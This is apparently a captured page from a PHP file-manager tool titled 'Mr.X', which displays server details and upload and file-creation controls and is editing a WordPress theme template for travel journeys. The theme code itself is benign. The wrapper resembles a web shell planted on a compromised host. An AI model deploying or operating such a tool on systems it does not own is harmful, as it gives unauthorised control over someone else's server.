🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:single-journey.php
<?php /** * Single Journey Template * * @package Ophiro_Ventures */ get_header(); if ( have_posts() ) : while ( have_posts() ) : the_post(); $territory_terms = get_the_terms( get_the_ID(), 'territory' ); $territory_slug = ( $territory_terms && ! is_wp_error( $territory_terms ) ) ? $territory_terms[0]->slug : 'wonder'; $territory_name = ( $territory_terms && ! is_wp_error( $territory_terms ) ) ? $territory_terms[0]->name : ''; $explore_price = get_post_meta( get_the_ID(), '_ophiro_explore_price', true ); $comfort_price = get_post_meta( get_the_ID(), '_ophiro_comfort_price', true ); $signature_price = get_post_meta( get_the_ID(), '_ophiro_signature_price', true ); $explore_desc = get_post_meta( get_the_ID(), '_ophiro_explore_desc', true ); $comfort_desc = get_post_meta( get_the_ID(), '_ophiro_comfort_desc', true ); $signature_desc = get_post_meta( get_the_ID(), '_ophiro_signature_desc', true ); $inclusions_raw = get_post_meta( get_the_ID(), '_ophiro_inclusions', true ); $exclusions_raw = get_post_meta( get_the_ID(), '_ophiro_exclusions', true ); $itinerary = get_post_meta( get_the_ID(), '_ophiro_itinerary', true ); $duration = get_post_meta( get_the_ID(), '_ophiro_duration', true ); $max_group = get_post_meta( get_the_ID(), '_ophiro_max_group', true ); $start_location = get_post_meta( get_the_ID(), '_ophiro_start_location', true ); $end_location = get_post_meta( get_the_ID(), '_ophiro_end_location', true ); $inclusions = ! empty( $inclusions_raw ) ? array_filter( array_map( 'trim', explode( "\n", $inclusions_raw ) ) ) : array(); $exclusions = ! empty( $exclusions_raw ) ? array_filter( array_map( 'trim', explode( "\n", $exclusions_raw ) ) ) : array(); ?> <!-- Journey Hero --> <section class="o-journey-hero" style="--territory-color:<?php echo esc_attr( ophiro_get_territory_color( $territory_slug ) ); ?>;"> <div class="o-journey-hero__bg"> <?php if ( has_post_thumbnail() ) : ?> <?php the_post_thumbnail( 'ophiro-hero', array( 'loading' => 'eager' ) ); ?> <?php endif; ?> </div> <div class="o-journey-hero__overlay"></div> <div class="o-journey-hero__content"> <span class="o-journey-hero__territory"><?php echo esc_html( $territory_name ); ?></span> <h1 class="o-journey-hero__title"><?php the_title(); ?></h1> <p class="o-journey-hero__subtitle"><?php echo esc_html( get_the_excerpt() ); ?></p> </div> </section> <!-- Journey Content --> <div class="o-container"> <div class="o-journey-content"> <!-- Main Content --> <div class="o-journey-content__main"> <!-- Journey Overview --> <div class="o-reveal" style="padding:var(--space-3xl) 0 var(--space-2xl);"> <?php the_content(); ?> </div> <!-- Pricing Tiers --> <?php if ( $explore_price || $comfort_price || $signature_price ) : ?> <div class="o-reveal" style="margin-bottom:var(--space-4xl);"> <h3 class="o-itinerary__title"><?php esc_html_e( 'Investment Tiers', 'ophiro' ); ?></h3> <div class="o-pricing-tiers"> <?php if ( $explore_price ) : ?> <div class="o-pricing-card"> <div class="o-pricing-card__label"><?php esc_html_e( 'Explore', 'ophiro' ); ?></div> <div class="o-pricing-card__amount">$<?php echo esc_html( number_format( (float) $explore_price ) ); ?></div> <div class="o-pricing-card__per"><?php esc_html_e( 'per person', 'ophiro' ); ?></div> <?php if ( $explore_desc ) : ?> <p style="font-size:var(--text-sm);color:var(--ophiro-text-tertiary);text-align:left;"><?php echo esc_html( $explore_desc ); ?></p> <?php endif; ?> </div> <?php endif; ?> <?php if ( $comfort_price ) : ?> <div class="o-pricing-card o-pricing-card--featured"> <div class="o-pricing-card__label"><?php esc_html_e( 'Comfort', 'ophiro' ); ?></div> <div class="o-pricing-card__amount">$<?php echo esc_html( number_format( (float) $comfort_price ) ); ?></div> <div class="o-pricing-card__per"><?php esc_html_e( 'per person', 'ophiro' ); ?></div> <?php if ( $comfort_desc ) : ?> <p style="font-size:var(--text-sm);color:var(--ophiro-text-tertiary);text-align:left;"><?php echo esc_html( $comfort_desc ); ?></p> <?php endif; ?> </div> <?php endif; ?> <?php if ( $signature_price ) : ?> <div class="o-pricing-card"> <div class="o-pricing-card__label"><?php esc_html_e( 'Signature', 'ophiro' ); ?></div> <div class="o-pricing-card__amount">$<?php echo esc_html( number_format( (float) $signature_price ) ); ?></div> <div class="o-pricing-card__per"><?php esc_html_e( 'per person', 'ophiro' ); ?></div> <?php if ( $signature_desc ) : ?> <p style="font-size:var(--text-sm);color:var(--ophiro-text-tertiary);text-align:left;"><?php echo esc_html( $signature_desc ); ?></p> <?php endif; ?> </div> <?php endif; ?> </div> </div> <?php endif; ?> <!-- Day-by-Day Itinerary --> <?php if ( ! empty( $itinerary ) && is_array( $itinerary ) ) : ?> <div class="o-itinerary o-reveal"> <h3 class="o-itinerary__title"><?php esc_html_e( 'Day-by-Day Itinerary', 'ophiro' ); ?></h3> <?php foreach ( $itinerary as $i => $day ) : ?> <div class="o-itinerary-day"> <div class="o-itinerary-day__number"><?php printf( '%02d', $i + 1 ); ?></div> <div> <h4 class="o-itinerary-day__title"><?php echo esc_html( $day['title'] ?? '' ); ?></h4> <p class="o-itinerary-day__desc"><?php echo esc_html( $day['desc'] ?? '' ); ?></p> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <!-- Inclusions & Exclusions --> <?php if ( ! empty( $inclusions ) || ! empty( $exclusions ) ) : ?> <div class="o-reveal" style="margin:var(--space-4xl) 0;"> <h3 class="o-itinerary__title"><?php esc_html_e( 'What\'s Included', 'ophiro' ); ?></h3> <div class="o-inclusions"> <?php if ( ! empty( $inclusions ) ) : ?> <div> <h6 style="margin-bottom:var(--space-lg);"><?php esc_html_e( 'Inclusions', 'ophiro' ); ?></h6> <ul class="o-inclusions__list"> <?php foreach ( $inclusions as $item ) : ?> <li><?php echo esc_html( $item ); ?></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> <?php if ( ! empty( $exclusions ) ) : ?> <div> <h6 style="margin-bottom:var(--space-lg);"><?php esc_html_e( 'Exclusions', 'ophiro' ); ?></h6> <ul class="o-exclusions__list"> <?php foreach ( $exclusions as $item ) : ?> <li><?php echo esc_html( $item ); ?></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> </div> </div> <?php endif; ?> </div> <!-- Sidebar --> <aside class="o-journey-content__sidebar"> <div class="o-sidebar-card" style="--territory-color:<?php echo esc_attr( ophiro_get_territory_color( $territory_slug ) ); ?>;"> <h4 class="o-sidebar-card__title"><?php esc_html_e( 'Journey Summary', 'ophiro' ); ?></h4> <?php if ( $duration ) : ?> <p style="font-size:var(--text-sm);color:var(--ophiro-text-tertiary);margin-bottom:var(--space-md);"> <strong style="color:var(--ophiro-text-secondary);"><?php esc_html_e( 'Duration:', 'ophiro' ); ?></strong> <?php echo esc_html( ophiro_get_duration() ); ?> </p> <?php endif; ?> <?php if ( $max_group ) : ?> <p style="font-size:var(--text-sm);color:var(--ophiro-text-tertiary);margin-bottom:var(--space-md);"> <strong style="color:var(--ophiro-text-secondary);"><?php esc_html_e( 'Max Group:', 'ophiro' ); ?></strong> <?php printf( esc_html__( '%s guests', 'ophiro' ), esc_html( $max_group ) ); ?> </p> <?php endif; ?> <?php if ( $start_location ) : ?> <p style="font-size:var(--text-sm);color:var(--ophiro-text-tertiary);margin-bottom:var(--space-md);"> <strong style="color:var(--ophiro-text-secondary);"><?php esc_html_e( 'Starts:', 'ophiro' ); ?></strong> <?php echo esc_html( $start_location ); ?> </p> <?php endif; ?> <?php if ( $end_location ) : ?> <p style="font-size:var(--text-sm);color:var(--ophiro-text-tertiary);margin-bottom:var(--space-md);"> <strong style="color:var(--ophiro-text-secondary);"><?php esc_html_e( 'Ends:', 'ophiro' ); ?></strong> <?php echo esc_html( $end_location ); ?> </p> <?php endif; ?> <?php if ( $explore_price ) : ?> <p style="font-family:var(--font-display);font-size:var(--text-3xl);color:var(--ophiro-gold-star);margin:var(--space-xl) 0 var(--space-sm);"> $<?php echo esc_html( number_format( (float) $explore_price ) ); ?> </p> <p style="font-size:var(--text-xs);color:var(--ophiro-text-muted);margin-bottom:var(--space-lg);"> <?php esc_html_e( 'Starting from, per person', 'ophiro' ); ?> </p> <?php endif; ?> <a href="<?php echo esc_url( home_url( '/enquire/?journey=' . rawurlencode( get_the_title() ) ) ); ?>" class="o-btn o-btn--primary"> <?php esc_html_e( 'Enquire About This Journey', 'ophiro' ); ?> </a> <p style="font-size:var(--text-xs);color:var(--ophiro-text-muted);text-align:center;margin-top:var(--space-md);"> <?php esc_html_e( 'Bespoke pricing available for custom configurations', 'ophiro' ); ?> </p> </div> <?php if ( has_nav_menu( 'primary' ) ) : ?> <div class="o-sidebar-card" style="margin-top:var(--space-xl);"> <h4 class="o-sidebar-card__title"><?php esc_html_e( 'Explore Further', 'ophiro' ); ?></h4> <?php $all_journeys = new WP_Query( array( 'post_type' => 'journey', 'posts_per_page' => 4, 'post__not_in' => array( get_the_ID() ), ) ); if ( $all_journeys->have_posts() ) : while ( $all_journeys->have_posts() ) : $all_journeys->the_post(); ?> <p style="margin-bottom:var(--space-md);"> <a href="<?php the_permalink(); ?>" style="font-size:var(--text-sm);color:var(--ophiro-text-secondary);text-decoration:none;"> <?php the_title(); ?> </a> </p> <?php endwhile; wp_reset_postdata(); endif; ?> </div> <?php endif; ?> </aside> </div> </div> <?php endwhile; endif; get_footer();
Save Changes
Cancel
Create New File
Create New Folder